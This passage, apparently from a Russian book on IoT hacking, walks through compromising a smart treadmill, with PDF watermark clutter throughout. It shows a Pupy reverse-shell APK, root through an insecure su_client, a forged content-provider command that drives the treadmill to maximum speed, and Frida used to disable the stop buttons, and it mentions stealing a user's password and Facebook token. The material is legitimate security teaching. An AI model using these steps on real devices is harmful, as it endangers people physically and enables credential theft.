|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
пользуя инструмент Git для загрузки кода из удаленного репозито- |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
рия, перейдем к его папке и используем скрипт create-workspace.py для настройки среды:
$ git clone --recursive https://github.com/n1nj4sec/pupy $ cd pupy && ./create-workspace.py pupyws
Затем можно сгенерировать новый файл APK для Android с по мощью команды pupygen:
$ pupygen -f client -O android –o sysplugin.apk connect --host
192.168.1.5:8443
Параметр-f указывает,чтомыхотимсоздатьклиентскоеприложе- ние, параметр -O указывает, что это должен быть APK для платформ Android, параметр -o указывает имя приложения, параметр connect требует,чтобы приложение выполнило обратное соединение с серве- ромPupy,апараметр--host предоставляетадресIPv4ипорт,который прослушивает этот сервер.
Поскольку у нас естьвозможностьпереходитьна пользовательские веб-сайты через интерфейс беговой дорожки, мы можем разместить этот APK на веб-сервере и попытаться получить прямой доступ к бе- говой дорожке. К сожалению, попытавшись открыть APK, мы узна- ли, что беговая дорожка не позволяет устанавливать приложения с расширением APK, просто открывая их через WebView. Придется поискать другой способ.
Злоупотребление локальным файловым менеджером для установки APK
Воспользуемсядругойстратегией,чтобыпопытатьсязаразитьустрой- ство и получитьпостоянныйдоступ.Android WebView и веб-браузеры могут запускать действия в других приложениях, установленных на устройстве. Например, все устройства, оснащенные версией Android, более поздней, чем 4.4 (уровень API 19), позволяют пользователям просматривать и открывать документы, изображения и другие фай- лы, используя предпочитаемое ими средство просмотра документов в хранилище. В результате переход на веб-страницу, содержащую простую форму загрузки файлов (примерно такую, как на рис. 15.20), заставит Android искать установленные производителем программы диспетчера файлов.
К нашему удивлению, мы обнаружили, что окно браузера беговой дорожки может запускать пользовательское приложение диспетчера файлов, позволяя нам выбрать его имя из списка боковой панели во всплывающемокне,какпоказанонарис.15.21.Выделенноенамипри- ложение не является файловым менеджером Android по умолчанию
450 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
и, вероятно, было установлено как расширение Android, чтобы про- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
изводителю устройства было удобнее выполнять файловые операцииdf.-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
Рис.15.20.Доступ к внешнему сайту,который запрашивает загрузку файла
Рис.15.21.Запуск локального файлового менеджера
Этот файловый менеджер обладает широкими функциональными возможностями: он может сжимать и распаковывать файлы и даже напрямую открыватьдругие приложения–функция,которой мы вос- пользуемся для установки пользовательского APK.В диспетчере фай- лов находим ранее загруженный файл APK и нажимаем кнопку Open (Открыть), как показано на рис. 15.22.
Установщик пакета Android, который является приложением An- droid по умолчанию, позволяющим устанавливать, обновлять и уда- лять приложения на устройстве, затем автоматически инициирует обычный процесс установки (рис. 15.23).
Взлом умного дома 451
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.15.22.Злоупотребление локальным файловым менеджером для выполнения пользовательского APK
Рис.15.23.Запуск пользовательского APK из файлового менеджера
После установки агент Pupy инициирует обратное соединение с сервером Pupy, как показано ниже. Теперь мы можем использовать удаленную оболочку для выполнения команд на беговой дорожке в качестве локального пользователя.
[*] Session 1 opened (treadmill@localhost) (xx.xx.xx.xx:8080 <- yy.yy. yy.yy:43535)
>> sessions
id user hostname platform release os_arch proc_arch intgty_lvl address tags
---------------------------------------------------------------------------
1 treadmill localhost android 3.1.10 armv7l 32bit Medium yy.yy.yy.yy
452 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
||
|
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
||||||
|
|
|
|
|
|
BUY |
|
|
||||
Повышение привилегий |
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
o |
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
|
e |
|
||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x cha |
|
|
|
|
|
||
Следующий шаг – повышение привилегий. Один из способов добиться |
|
|
|
|
|
|
|
этого – искать двоичные файлы SUID, являющиеся двоичными фай- лами, которые мы можем выполнять с использованием разрешений выбранного пользователя, даже если лицо, выполняющее их, имеет более низкие привилегии. Точнее, мы ищем двоичные файлы, кото- рыеможемвыполнятьотименисуперпользователяrootнаплатформе Android.Этидвоичные файлы распространены на устройствах IoT под управлением Android, поскольку они позволяют приложениям отда- вать команды оборудованию и выполнять обновления прошивки.
Обычно приложения Android работают в изолированных средах (часто называемых песочницами) и не могут получить доступ к дру- гимприложениямилисистеме.Ноприложениесправамисуперполь- зователя может выйти из своей изолированной среды и получить полный контроль над устройством.
Мы обнаружили, что можно повысить привилегии, злоупотребляя установленной на устройстве незащищенной службой SUID под на- званием su_server. Эта служба получала команды от других приложе- ний Android через сокеты домена Unix. Мы также обнаружили, что клиентский двоичный файл su_client установлен в системе. Клиент можно использовать для непосредственного выполнения команд с привилегиями root, как показано ниже:
$ ./su_client 'id > /sdcard/status.txt' && cat /sdcard/status.txt uid=0(root) gid=0(root) context=kernel
Входные данные выдают команду id, которая отображает имена пользователей и групп и числовые идентификаторы вызывающе- го процесса на стандартный вывод, а также перенаправляет вывод вфайл,расположенныйв/sdcard/status.txt.Используякомандуcat,ко- торая отображает содержимое файла, мы получаем вывод и проверя- ем,что команда была выполнена с разрешениями суперпользователя.
Мы предоставили команды как аргументы командной строки между одинарными кавычками. Обратите внимание, что двоичный файл клиента напрямую не возвращал пользователю никакой вывод команды , поэтому нам пришлось сначала записать результат в файл на SD-карте.
Теперь, когда у нас есть права суперпользователя, мы можем по- лучать доступ, взаимодействовать и вмешиваться в функции другого приложения. Например, можем извлечь данные о тренировках теку- щего пользователя, его пароль для облачного приложения для отсле- живания фитнеса и его токен Facebook, а также изменить программу тренировок.
Дистанционное управление скоростью и наклоном
С помощью полученных нами удаленного доступа к оболочке и прав суперпользователя найдем способ управлять скоростью и наклоном
Взлом умного дома 453
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
беговой дорожки. Для этого придется исследовать программное обе- |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
спечение и оборудование (см. главу 3 для ознакомления с методоло- |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
гией, которая может вам в этом помочь). На рис. 15.24 показан обзор конструкции оборудования.
Мы обнаружили,что устройство построено надвух основных аппа- ратных компонентах–Hi Kit и Low Kit (элементы верхнего и нижнего уровня). Первый состоит из платы ЦП и основной платы устройства; второй–из платы управления оборудованием,которая действует как соединительный узел для основных компонентов нижнего уровня.
|
Сенсорный |
|
|
экран |
Рукоятка скорости |
Сетевая |
|
|
|
|
|
плата |
USB |
|
|
|
|
|
|
Рукоятка наклона |
Плата |
Док-станция |
|
для iPod |
|
|
процессора |
|
Датчики |
|
Считыватель |
|
|
NFC |
Кнопка аварийной |
|
|
|
ЖК-дисплей |
|
остановки |
|
|
|
|
Основная плата |
|
|
|
Концевой |
|
Панельуправления |
выключатель |
|
|
|
|
|
Подъемный |
|
|
двигатель |
Плата управления приводом |
|
Приводной |
|
Узлы привода |
двигатель |
|
|
Инвертор |
Рис.15.24.Структура аппаратного обеспечения умной беговой дорожки
Плата ЦП содержит микропроцессор, запрограммированный на управление беговой дорожкой. Он получает и обрабатывает сигналы ссенсорногоЖК-экрана,устройствачтенияNFC,док-станциидляiPod, клиентскогопортаUSB,которыйпозволяетпользователямподключать внешниеустройства,ивстроенногослужебногопортаUSB,которыйис- пользуется для установки обновлений. Плата ЦП также обеспечивает подключение устройства к сети через свою сетевую плату.
454 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Основная плата является интерфейсной платой для всех перифе- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
рийных устройств, таких как регуляторы скорости и наклона, аваd-f-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
рийные кнопки и датчики состояния. Регуляторы позволяют пользо- вателям менять скорость и наклон тренажера во время тренировки. Каждый раз,когда их двигают вперед или назад,они отправляют сиг- нал на плату ЦП,чтобы изменитьскоростьили высоту,в зависимости оттого,какойрегуляториспользуется.Кнопкааварийнойостановки– это предохранительное устройство, которое позволяет пользователю остановить дорожку в аварийной ситуации. Датчики отслеживают пульс тренирующегося.
К элементам нижнего уровня относятся приводнойдвигатель,дви- гатель наклона, инвертор и концевой выключатель. Приводной дви- гатель и двигатель наклона определяют скорость и наклон беговой дорожки. Инверторное устройство подает питающее напряжение на приводной двигатель. Изменение этого напряжения может вызвать соответствующее изменение скорости бегового полотна. Концевой выключатель ограничиваетмаксимальную скорость приводного дви- гателя.
На рис. 15.25 показано, как программное обеспечение взаимодей- ствует со всеми этими периферийными устройствами.
Уровеньаппаратной |
|
Прочие |
|
HAL |
периферийные |
||
абстракцииAPK |
|||
|
устройства |
||
|
|
Приемник запросов
|
Контроллер |
Прочие |
|
APKоборудования |
периферийные |
||
USB |
|||
|
устройства |
||
|
|
Приемник запросов
Установленные приложенияAndroid
Рис.15.25.Связь программного обеспечения с периферийными устройствами
Взлом умного дома 455
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||
Подключенными периферийными устройствами управляют два |
|
|
|
to |
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
m |
|||||
|
|
|
w Click |
|
|
|
|
|
|
|||||
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
компонента: пользовательский компонент аппаратного уровня аб- |
. |
.c |
|
|||||||||||
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
стракции (Hardware Abstraction Layer, HAL) и встроенный микро- |
|
|
|
|
|
|
|
|
|
|
||||
контроллер USB. Компонент HAL – это интерфейс, реализованный |
|
|
|
|
|
|
|
|
|
|
||||
поставщиком устройства, который позволяет установленным при- |
|
|
|
|
|
|
|
|
|
|
||||
ложениям Android взаимодействовать с драйверами устройств для |
|
|
|
|
|
|
|
|
|
|
||||
конкретногооборудования.ПриложенияAndroidиспользуютHALAPI |
|
|
|
|
|
|
|
|
|
|
||||
для связи со службами аппаратных устройств.Эти службы управляют |
|
|
|
|
|
|
|
|
|
|
||||
портами HDMI и USB, а также микроконтроллером USB для отправки |
|
|
|
|
|
|
|
|
|
|
||||
команд на изменение скорости приводного двигателя или управле- |
|
|
|
|
|
|
|
|
|
|
||||
ние двигателем наклона дорожки. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Беговая дорожка содержит предустановленное Android-приложе |
|
|
|
|
|
|
|
|
|
|
||||
ние под названием HardwareAbstraction LayerAPK,которое использу- |
|
|
|
|
|
|
|
|
|
|
||||
ет HAL API, и еще одно приложение, Equipment APK (APK оборудова- |
|
|
|
|
|
|
|
|
|
|
||||
ния), – оно получает аппаратные команды от других установленных |
|
|
|
|
|
|
|
|
|
|
||||
приложений через открытый широковещательный приемник, а за- |
|
|
|
|
|
|
|
|
|
|
||||
тем передает их на оборудование с помощью |
APK уровня абстракции |
|
|
|
|
|
|
|
|
|
|
|||
оборудования и микроконтроллера USB, как показано на рис. 15.25. |
|
|
|
|
|
|
|
|
|
|
|
|||
Ряд других предустановленных приложений, таких как Dashboard |
|
|
|
|
|
|
|
|
|
|
||||
APK, отвечает за пользовательский интерфейс. Эти приложения так- |
|
|
|
|
|
|
|
|
|
|
||||
же должны управлять оборудованием и отслеживать текущее состоя- |
|
|
|
|
|
|
|
|
|
|
||||
ние оборудования. Текущее состояние оборудования поддерживает- |
|
|
|
|
|
|
|
|
|
|
||||
ся в другом предварительно установленном приложении Android под |
|
|
|
|
|
|
|
|
|
|
||||
названием Repository APK, которое находится в сегменте общей па- |
|
|
|
|
|
|
|
|
|
|
||||
мяти. Сегмент общей памяти – это выделенная область памяти, к ко- |
|
|
|
|
|
|
|
|
|
|
||||
торой несколько программ или приложений Android могут получать |
|
|
|
|
|
|
|
|
|
|
||||
одновременный доступ с помощью |
операций прямого чтения или |
|
|
|
|
|
|
|
|
|
|
|||
записи в память. Состояние также доступно через открытых постав- |
|
|
|
|
|
|
|
|
|
|
||||
щиков контента Android, но использование общей памяти позволяет |
|
|
|
|
|
|
|
|
|
|
||||
повысить производительность, которая необходима устройству для |
|
|
|
|
|
|
|
|
|
|
||||
операций в реальном времени. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Например,каждыйраз,когдапользовательнажимаетоднуизкнопок |
|
|
|
|
|
|
|
|
|
|
||||
регулировкискорости(элементDashboardAPK),устройствоотправляет |
|
|
|
|
|
|
|
|
|
|
||||
запрос контент-провайдеру Repository APK для обновления скорости |
|
|
|
|
|
|
|
|
|
|
||||
устройства.Затем Repository APK обновляет общую память и сообщает |
|
|
|
|
|
|
|
|
|
|
||||
об этом элементу Equipment APK с помощью |
уведомления Android In- |
|
|
|
|
|
|
|
|
|
|
tent.ПослеэтогоEquipmentAPKотправляетсоответствующуюкоманду через USB-контроллер на периферийное устройство (рис.15.26).
Поскольку мы получили доступ к локальной оболочке с правами суперпользователя с помощью предыдущего пути атаки, мы можем использовать открытый контент-провайдер Repository APK для ими- тации действия кнопки. Это будет напоминать действие, полученное из Dashboard APK.
Используякомандуcontent update,мыможемимитироватькнопку, которая увеличивает скорость беговой дорожки:
$ content update |
--uri content:// com.vendorname.android.repositoryapk.physicalkeyboard. |
AUTHORITY/item |
--bind JOY_DX_UP:i:1 |
|
|
456 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
РепозиторийAPK |
Общая память |
Уровеньаппаратной |
HAL |
Прочие |
|
периферийные |
|||
|
|
абстракцииAPK |
|
устройства |
|
|
|
|
Поставщик контента |
Приемник запросов |
Прочие
периферийные
устройства
APKоборудования |
Контроллер |
|
|
USB |
Узлы |
||
|
|||
|
|
привода |
APKпанели приборов |
Приемник запросов |
|
Инвертор
Приводной
двигатель
Рис.15.26.Отправка команды из Dashboard APK на оборудование
Следом за командой располагается параметр uri,который опреде- ляет доступного поставщика контента, и параметр bind, привязыва- ющий конкретное значение к столбцу.В этом случае команда выпол- няетзапроснаобновлениеоткрытогоконтент-провайдераRepository APK под названием physicalkeyboard.AUTHORITY/item и устанавливает значениепеременной JOY_DX_UP равным единице.Вы можете опреде- лить полное имя приложения, а также имя открытого контент-про- вайдера и параметра bind, декомпилировав приложение, используя методы, представленные в главе 14 (в частности, в разделе «Анализ приложений Android»).
Теперь жертва находится на дистанционно управляемой беговой дорожке, которая разгоняется до максимальной скорости!
Отключение программного обеспечения и кнопок на панели управления
Чтобы остановить устройство или беговую дорожку, пользователь обычно может нажать одну из кнопок панели управления, например «пауза», «перезапуск», «замедление», «стоп» или кнопки «больше/ меньше», регулирующие скорость. Кнопки – это компоненты пред
Взлом умного дома 457
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
установленногопрограммногообеспечения,котороеуправляетполь- |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
зовательским интерфейсом устройства. Также можно остановить |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
устройство,используя регуляторы скорости и наклона либо автоном- ную клавишу аварийной остановки, встроенную в нижнюю часть па- нели управления устройства, как показано на рис. 15.27.
АВАРИЙНЫЙ ОСТАНОВ
Рис.15.27.Программные и физические кнопки,позволяющие пользователю останавливать беговую дорожку
Каждый раз,когда пользователь нажимает одну из кнопок,устрой- ство использует Android IPC. Операция вставки, обновления или уда- ления выполняется в части провайдера контента приложения, кото- рая контролирует скорость устройства.
Мы можем использовать простой скрипт Frida, чтобы отключить эту связь. Frida – это платформа для динамического вмешательства, которая позволяет пользователю заменять определенные вызовы функций в памяти.Мы использовали его в главе 14,чтобы отключить определение корневого каталога приложения Android. В этом случае мы можем использовать аналогичный скрипт для замены функции обновления контент-провайдера приложения-репозитория, чтобы перестать получать новые интенты от кнопок.
Сначала создаем переадресацию для порта 27042, который будет использовать сервер Frida,используя команду portfwd агента Pupy:
$ run portfwd -L 127.0.0.1:27042:127.0.0.1:27042
Параметр -L указывает, что мы хотим выполнить переадресацию порта 27042 локального хоста 127.0.0.1 на удаленное устройство на том же порте.Хосты и порты должны быть разделены двоеточием (:). Теперь всякий раз, когда мы подключаемся к этому порту на нашем локальном устройстве, будет создаваться туннель, соединяющий нас с тем же портом на целевом устройстве.
Затем загружаем сервер Frida для платформ ARM (https://github.com/ frida/frida/releases/) на беговую дорожку с помощью команды загрузки
Pupy:
$ run upload frida_arm /data/data/org.pupy.pupy/files/frida_arm
458 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
